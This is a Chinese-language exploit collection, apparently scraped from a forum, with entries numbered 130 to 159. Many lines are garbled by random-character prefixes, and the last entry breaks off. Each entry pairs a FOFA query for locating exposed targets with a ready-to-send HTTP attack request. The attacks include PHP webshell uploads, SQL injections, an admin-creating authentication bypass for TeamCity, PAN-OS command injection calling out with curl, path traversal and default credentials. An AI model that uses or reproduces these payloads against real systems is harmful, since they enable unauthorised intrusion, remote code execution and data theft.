$ a' R6 K+ d* {3 `9 |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
) f) E* [; e+ h! P! T2 F4 JAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
' X% O1 J, I7 S; i* n) }" _/ Buuid: 85f60018-a654-4410-a783-f81cbd5000b9
- ^' i! ^6 ]/ t6 C
& G! o: v1 p8 \# \$ n9 Z1 Z
130. Laykefu客服系统任意文件上传
$ S8 [( ?: L* ~* i- [0 b5 g9 pFOFA：icon_hash="-334624619"
7 Q: I3 _7 |( [0 J' C& Y& o$ D2 c6 CPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
& B# ]6 V+ O# OConnection: close
2 T, T) @( ?, K& t7 J; ^
1 _, Q1 F2 i# |: }0 g------WebKitFormBoundary3OCVBiwBVsNuB2kR
9 |: ~) I  U1 j! @1 @4 wContent-Disposition: form-data; name="file"; filename="1.php"
# }1 f' X, s5 w9 b$ g0 f) U( }Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


. L6 k9 h& _6 n# |- C1 Q9 `131. Mini-Tmall <=20231017 SQL注入
, C, K. A& k( mFOFA：icon_hash="-2087517259"
. e% ^3 O: C9 D. f9 o$ o* w4 x3 g后台地址：http://localhost:8080/tmall/admin
% g! B0 y2 [1 E& T0 q% x0 \http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
2 G4 n4 S. k6 u# W! G8 Z, _/ r1 y
0 O( Q6 k" ?- p4 F7 o132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
9 @6 ^0 Q; ]7 q* x9 TPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
. u1 \) n* M  X! U# ]Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
- R2 o. y  q7 r4 v( N) s8 H0 QAccept: */*
# J& q; v0 y& M) _5 z, lContent-Type: application/json
  \5 C' q' h0 ?6 j- q/ k" {Accept-Encoding: gzip, deflate
2 v  k% T% x* e7 l8 S+ N( [
' J5 X- B) e# ~! f7 ^{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

; c4 i; g. R5 V( W+ n, T' J: y
6 [1 {: B% b1 s8 R9 t, Y. G( I# oCVE-2024-27199
4 i$ p+ Y% _( t+ ]( c- d/res/../admin/diagnostic.jsp
5 }4 R9 ~: }" o2 u1 ^/.well-known/acme-challenge/../../admin/diagnostic.jsp
- L: R+ q' r! F9 _* ~/update/../admin/diagnostic.jsp


2 z1 n6 T$ n) r1 o. jCVE-2024-27198-RCE.py
6 L% t+ |# K, \2 F4 a2 i7 i
133. H5 云商城 file.php 文件上传
# s; q; ]: J, f; @FOFA：body="/public/qbsp.php"
  q. x7 o$ |0 s& m# Q- `0 q- h/ [POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
' ]: X! K: D4 u8 x6 x4 K% x' j8 cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

, ]% {( _6 S4 w9 k; X- W/ d  }& y5 o------WebKitFormBoundaryFQqYtrIWb8iBxUCx
3 A+ N; J' X3 `# OContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

" l# F1 [. @7 M<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--


( h$ U. a8 `- K
" O: ]; b6 x' Y6 R- v" v8 t134. 网康NS-ASG应用安全网关index.php sql注入
# s( U" ^/ n! l7 rCVE-2024-2330
8 [0 F: X5 R% m1 M, F( HNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
& w) I4 P9 W6 q% w/ U/ t$ qHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
2 r& F, h# I9 ]/ @6 {0 Z+ t+ WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
4 i. ]; G6 n/ ^: M0 YTe: trailers
3 s3 c: Z( V! yConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
* ]% b( y$ O  K2 B2 ?
: h3 T4 ?" ?; H/ @5 z& `; L0 I
+ i5 \8 E: [2 h; `  S" j; ]0 K135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
  l% X9 _) p( X/ ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
7 Y& g, t. s# q+ EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 T1 d- e$ K/ `. z) N& vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" B6 @7 `, w8 ]* q& a0 kConnection: close


: z0 R$ ]/ X, s136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
* c7 s0 N2 g8 C# @Accept: */*
/ K( r! O7 o, l- y( C+ I6 I. g2 zAccept-Language: en
Accept-Encoding: gzip

. s) n1 L+ \+ z7 {  |3 S" Q
, O6 b' ~# W$ u- _) }# O137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
# o4 `$ a* ]  p) K+ NFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
  d! b3 Y) Q6 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 ]0 h/ I$ p7 F' W1 Z2 MAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
% @# m1 \! c* q2 w5 {Upgrade-Insecure-Requests: 1

+ p6 c6 h" U# O, k$ X
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
7 c' ^# k  P5 BGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
( e4 f- q4 p/ n2 V3 k. AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) h8 K0 S; P6 D# b8 G! `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% ~; j# `; D1 m% VAccept-Encoding: gzip, deflate, br
4 P2 s5 T+ l$ A7 K: \  }  IConnection: close
1 W" I9 s7 s( M" h& pUpgrade-Insecure-Requests: 1

% E8 Q: K' d" I9 Q3 H
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
. x1 g6 ~, \; f) ~6 Z# a9 lGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% n5 c9 c. ?3 cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
. F- q( d7 w6 [8 z2 \9 `9 yConnection: close
8 s  B" e( U/ c8 @Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
: M8 D0 b2 N2 H& w8 @8 G  hUpgrade-Insecure-Requests: 1
1 U/ v( ~$ t5 M3 w( Y. n/ g" L& _* a
! n( K& Z- L& B; M8 b5 k4 U' t; P# n
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
; r# a% E7 _5 i" aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ s& D! h) }1 N3 D! G; i8 G2 GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
9 r0 G4 w1 x( k8 G" j$ [Connection: close
Cookie: authcode=h8g9
$ ~2 |+ J( T! p7 u, h) ~7 G, HUpgrade-Insecure-Requests: 1
/ D; u) Q; w& R

2 _1 T6 f' N+ N' J% s3 F/ _& H141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
  Z' y- [" v; l" t5 F0 MFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
( G$ k& l% i( Y7 m6 sHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
& \+ O! ]. R9 a0 J: kContent-Type: application/x-www-form-urlencoded


# b# x; i( h# n/ R- y) s3 d" L. q* P2 idep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
2 K+ \- S' Q$ w
, r; k8 I0 n! x3 [# H6 e7 [
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
4 O1 W7 K+ V- ]# h, [* mFOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
3 F+ S) ^9 P9 {8 H; [7 iFOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
) o4 g5 c% Z; b, u; R/ RFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
' Y& u0 W4 U: f! J. aGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
7 P" [0 [: s: {! V' o, dAccept-Language: en
7 \1 H* z4 H. i- v' ]. p" rAccept-Encoding: gzip
" ~6 T  J$ u- u. }4 y+ p9 W

145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
2 q2 X* U5 x0 g8 hHost: 192.168.30.112:1005
4 j) X& U/ T) [# m3 ?" A7 \! QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
) V- m: t) @9 yAccept-Encoding: gzip
+ ~: |) T/ R3 s, {) S( ~
6 G; m; J4 C2 w' e  `$ K) {/ h
146. MajorDoMo thumb.php 未授权远程代码执行
9 d. ?7 Y6 j) v! C1 ACNVD-2024-02175
  B7 l% {% |1 O1 x# V, _) |/ uFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
/ m, M2 Y7 l/ L3 X2 ^! _) \# gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
* g! B9 V9 q- I/ _( KFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close


148. CrushFTP 认证绕过模板注入
6 ^  B3 b' v# d9 y2 wCVE-2024-4040
( x' [6 W" g4 F2 J) l# B0 i- fFOFA：body="CrushFTP"
* T, {8 @9 a; ^2 `) I$ Y+ IPAYLOAD
4 j! x# l' T0 k  l- P! I
! Z# t& b' ~3 {9 d" q- j5 K. p3 F149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

8 ^) a8 \6 D8 G# _/ dPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
- ^1 E, g) Y9 x4 }7 wHost: x.x.x.x
# D) ~- P+ F9 B7 q( wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 W; ^0 p7 ^7 m7 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 M# T* J- `% \4 N( S& r# X9 xAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
/ c( x. U+ l! T- @5 Q* k% b
4 E; K5 |9 |0 n, Z  r. N150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
3 D5 ?6 D9 R  v5 NHost: x.x.x.x
5 r' M- r0 t# w3 |0 d/ gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
$ v0 a( [# k% i# F" mContent-Type: application/json;charset=UTF-8
Connection: close
. {0 a1 ]/ [* z! a" fContent-Length: 339
' f, @% {0 |, q( o$ y1 \
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

9 }: T; p& ], M$ Z- Y! `% \6 n: m
151. AJ-Report 1.4.1 pageList sql注入
/ G2 x" n  m  @! G! ?5 Q% ?FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
0 q: e7 c# s* W$ q# r$ W, i4 {  @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ S" c) M, X7 |: V6 Q6 S6 R' r  TConnection: close
7 \8 B9 b: M9 S$ {5 oAccept-Encoding: gzip


( O8 }" {# c4 p2 l7 b152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
7 B/ ~2 s: ?# V" cLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
; T. Z* V8 ~% A$ \4 U4 QJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
% `5 D) y9 ~* y" b" t/ q6 ~GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
3 `* ~+ }- o# T6 \% r7 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
" H8 i: n# O+ J; I* W2 Y9 uConnection: close
7 m5 q( N- f: T% E3 NAccept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
# g/ O/ }1 A; [: M
9 c; o' k" {5 `0 M
153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
3 W' m2 u. f4 z9 B$ U第一步，请求/config文件获取componets的id
http://x.x.x.x/config
% F: R" p  H6 K0 O% ^' G# ^& G) H( y
7 o& k. x' A7 M2 t) m
* t. c# G& Q6 `( y" _0 |  ?第二步，将/etc/passwd的内容写入到一个临时文件
; O& s# |5 T4 LPOST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
6 \# `4 ?/ T/ S. P& lConnection: close
/ n- T3 a0 `, n/ |9 H' y% h( Q' @4 hContent-Length: 115
1 [9 i/ H% b! }+ n  p6 m% ~, hContent-Type: application/json
# V2 g, M* J1 w/ `4 \Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
) W7 b0 K# t0 _' V; k9 S7 g! a

第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

! c3 {! H2 u# D1 |  b) l. f
154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
7 y' ^" W$ Q, o) F" n) pHost: x.x.x.x
Content-Length: 106
5 R+ S1 A" Q" v5 W" N$ F1 ^- LCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
" R3 b2 Z4 ~( y% q, Q# UOrigin: http://x.x.x.x
  J3 g0 M1 h- o  WContent-Type: application/json
' x' g' d4 ~: e9 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
5 O# U5 C: x8 @/ F; B5 bAccept-Encoding: gzip, deflate
# |; p$ |' v; w+ kAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
! k: h# }! J, _+ Z8 m# a; DConnection: close
  C& e6 G: Q, P& N8 s* g* G
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
3 t1 J. ^0 W! lCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
# S8 {& ^- K# O- H9 U2 iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
+ E3 s( k  b, tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
0 T: v. X- u0 V. L/ o" G, m/ ZX-Requested-With: XMLHttpRequest

; K# p& }% D& t2 E- [-----------------------------qttl7vemrsold314zg0f
/ P5 d2 ^; T& L; a+ SContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
3 c! B1 h; J! s. N0 ^
0 H8 j: B2 w" A- t9 y: t7 ^
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

5 C0 e% D% {$ Q) b, p156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
' f! ~! r. ~0 \& X/ `·TBK DVR-4104
·TBK DVR-4216
1 R! c0 i0 D' y+ t9 ]curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

! H) K8 `! M! W  z( G  x
/ C9 R. n" V2 J$ u5 f/ `( WPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# Z9 L/ f8 y) T( \. T1 h6 `0 {  s1 S+ ~Connection: close
Content-Length: 0
9 |, U* Y4 t" O" p1 b' h- {% sCookie: uid=1
; U7 M- x7 M6 u  s+ }Accept-Encoding: gzip
& n; W: }- ?) Z$ i& p( n

157. 美特CRM upload.jsp 任意文件上传
2 w2 U7 T& T% ^- QCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
! ?* v+ C$ z+ I: JPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
, ^9 v: \$ P6 w# \" S8 N2 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
9 @& M6 Z4 a0 r' B$ aContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- h4 ~! X' v) k! k! qAccept-Encoding: gzip, deflate
& t5 N; t& r7 ^! A  h6 MAccept-Language: zh-CN,zh;q=0.9
* s. @4 k1 f) L5 Z3 E- kCache-Control: max-age=0
0 Q# I+ C2 a* [: {Connection: close
- {: b& B& M' {' I. R6 J' OContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
/ H3 P8 y- \; [% n# S& i# C
8 ]7 o& R0 @' _# Z& F------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
9 ]4 c; M6 H2 `% L& v& M, JContent-Type: application/octet-stream
. z# a4 \% e% a: t
' i1 s, W& ?9 x$ q3 z+ s1 Y! Snyhelxrutzwhrsvsrafb
! R; t: H2 r7 k. l------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

* j$ Z) e/ `) l# h2 M- dnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
! d$ n. q' f6 ~5 R% O- @& B# r3 s5 u: TContent-Disposition: form-data; name="field"
5 R( m; K- }- q1 \
null
- D7 M: D' p" I( H3 Z------WebKitFormBoundary1imovELzPsfzp5dN
9 ~( k& b4 n6 g8 c) e0 @Content-Disposition: form-data; name="filetitile"

null
------WebKitFormBoundary1imovELzPsfzp5dN
: V" y. o9 F# x( p& jContent-Disposition: form-data; name="filefolder"
0 a1 u2 B! Q) `* \# ~
null
4 O2 R( M) S3 Q" H  P5 T------WebKitFormBoundary1imovELzPsfzp5dN--


4 p) V1 e9 b) c( l  ehttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
  s  d; v8 f: a/ }1 @1 _- R
8 |2 T8 `4 `, T158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
/ U# x5 H; Y$ Q2 ~7 y. ]4 BFOFA："Generator: Masa CMS"
$ K* e& O6 {* \0 b9 UPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
7 s2 s- i. A1 w# UHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

* Z& V: K2 A0 Iobject=displayregion&contenthistid=x\'&previewid=1

# ~6 V, y3 [) x) ]6 H1 E
9 L% _1 r! |! O, M7 h159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
% e7 W9 G7 o. x$ I, o7 X) gFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
) q0 U3 e3 K' m! ~$ oPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
! u* _! S0 u2 H' x5 T9 M1 L; u' tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
  h' u  ?( F+ l, V3 lContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
  X* f9 Q$ K# z( Y( ?# q: u
7 `  o' u: b: q* S<?xml version="1.0" encoding="utf-8"?>
: r0 K& j3 w, C/ [<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
9 z$ z/ |' G( R% T) E<soap:Body>
5 Z2 z$ L5 X5 I4 w3 H" U, i5 t" _- j0 Z4 L<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
0 `9 H: X& T) O4 f% N<fileName>abcrce.asmx</fileName>
